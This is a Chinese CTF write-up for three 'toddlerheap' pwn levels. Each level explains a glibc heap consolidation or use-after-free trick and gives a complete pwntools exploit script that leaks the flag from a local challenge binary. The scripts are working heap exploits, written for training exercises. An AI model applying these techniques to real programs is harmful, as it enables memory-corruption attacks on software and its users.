前言#

冲冲冲，尽快拿下这一章然后学 FSOP，同时空下来学点 IoT，提前进军 realworld 。

Level 1.0#

Information#

Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

先填满 tcache，然后再申请同样大小就进入 fastbin 了，接着释放，让它可再次被分配，由于 malloc 超出 smallbin 范围的 chunk 会先触发 malloc_consolidate，强制合并所有 fastbin 到 top chunk，所以 read_flag 可以返回我们 fastbin 中那个 free 的地址，而由于 free 的时候并没有清除结构体中保存的指针，所以我们可以通过 puts UAF 泄漏其值。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13
FILE = "/challenge/toddlerheap_level1.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19
libc = ELF("/challenge/lib/libc.so.6")
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx))
36

37

38
def read_flag():
39
    target.sendlineafter(b": ", b"read_flag")
40

41

42
def quit():
43
    target.sendlineafter(b": ", b"quit")
44

45

46
def mangle(pos, ptr, shifted=1):
47
    if shifted:
48
        return pos ^ ptr
49
    return (pos >> 12) ^ ptr
50

51

52
def demangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return mangle(pos, ptr)
55
    return mangle(pos, ptr, 0)
56

57

58
def launch():
59
    global target
60
    if args.L:
61
        target = process(FILE)
62
    else:
63
        target = remote(HOST, PORT)
64

65

66
def main():
67
    launch()
68

69
    for i in range(7):
70
        malloc(i, 0)
71

72
    malloc(7, 0)
73

74
    for i in range(7):
75
        free(i)
76

77
    raw_input("DEBUG")
78
    free(7)
79
    read_flag()
80
    puts(7)
81
    quit()
82

83
    target.interactive()
84

85

86
if __name__ == "__main__":
87
    main()

Level 2.0#

Information#

Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

1
    if ( strcmp(s1, "read_flag") )
2
      break;
3
    for ( i = 0; i <= 1; ++i )
4
    {
5
      printf("[*] flag_buffer = malloc(%d)\n", 1434);
6
      size_4 = malloc(0x59Au);
7
      printf("[*] flag_buffer = %p\n", size_4);
8
    }
9
    fd = open("/flag", 0);
10
    read(fd, size_4, 0x80u);
11
    puts("[*] read the flag!");
12
  }

这次就是 read_flag 中会执行两次 malloc，flag 被写到最后一次 malloc 返回的地址中。

那还不简单，丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中，这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level2.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def calloc(idx, size):
29
    target.sendlineafter(b": ", b"calloc")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31
    target.sendlineafter(b"Size: ", str(size).encode())
32

33

34
def free(idx):
35
    target.sendlineafter(b": ", b"free")
36
    target.sendlineafter(b"Index: ", str(idx).encode())
37

38

39
def puts(idx):
40
    target.sendlineafter(b": ", b"puts")
41
    target.sendlineafter(b"Index: ", str(idx))
42

43

44
def read_flag():
45
    target.sendlineafter(b": ", b"read_flag")
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    for i in range(7):
76
        malloc(i, 0)
77

78
    for i in range(7):
79
        free(i)
80

81
    calloc(0, 0x59A)
82
    calloc(1, 0x59A)
83
    calloc(2, 0)
84
    free(1)
85
    free(0)
86
    raw_input("DEBUG")
87
    read_flag()
88
    puts(1)
89
    quit()
90

91
    target.interactive()
92

93

94
if __name__ == "__main__":
95
    main()

Level 3.0#

Information#

Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

和上题类似，区别在于这次我们可以 malloc 的大小被限制为必须 > 0x41F，而 read_flag 内部使用的 malloc 大小为 0x390，导致无法精确分配到我们想要的 chunk，咋办？

回忆一下 malloc 和相邻 chunk consolidation 的机制，我们注意到 malloc 的查找顺序为 tcachebins -> fastbins -> smallbins -> unsorted bins -> ... 由于这里我们只能请求 > 0x41F 大小的 chunk，所以可以直接排除 tcachebins、fastbins 和 smallbins 的可能性，那么 malloc 会直接查 unsorted bins，有合适的就直接返回，如果远大于请求大小就切割然后归类，不够就去下一个 bin 中找……

那我们只要设计一个 [free chunk with controled idx][guard][free chunk with controled idx][guard]... 这样的堆布局，重复 11 组即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level3.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx))
36

37

38
def read_flag():
39
    target.sendlineafter(b": ", b"read_flag")
40

41

42
def quit():
43
    target.sendlineafter(b": ", b"quit")
44

45

46
def mangle(pos, ptr, shifted=1):
47
    if shifted:
48
        return pos ^ ptr
49
    return (pos >> 12) ^ ptr
50

51

52
def demangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return mangle(pos, ptr)
55
    return mangle(pos, ptr, 0)
56

57

58
def launch():
59
    global target
60
    if args.L:
61
        target = process(FILE)
62
    else:
63
        target = remote(HOST, PORT)
64

65

66
def main():
67
    launch()
68

69
    for i in range(12):
70
        # raw_input("DEBUG")
71
        malloc(i, 0x420)
72
        # raw_input("DEBUG")
73
        malloc(15, 0x420)
74

75
    for i in range(12):
76
        # raw_input("DEBUG")
77
        free(i)
78

79
    read_flag()
80
    puts(11)
81
    quit()
82

83
    target.interactive()
84

85

86
if __name__ == "__main__":
87
    main()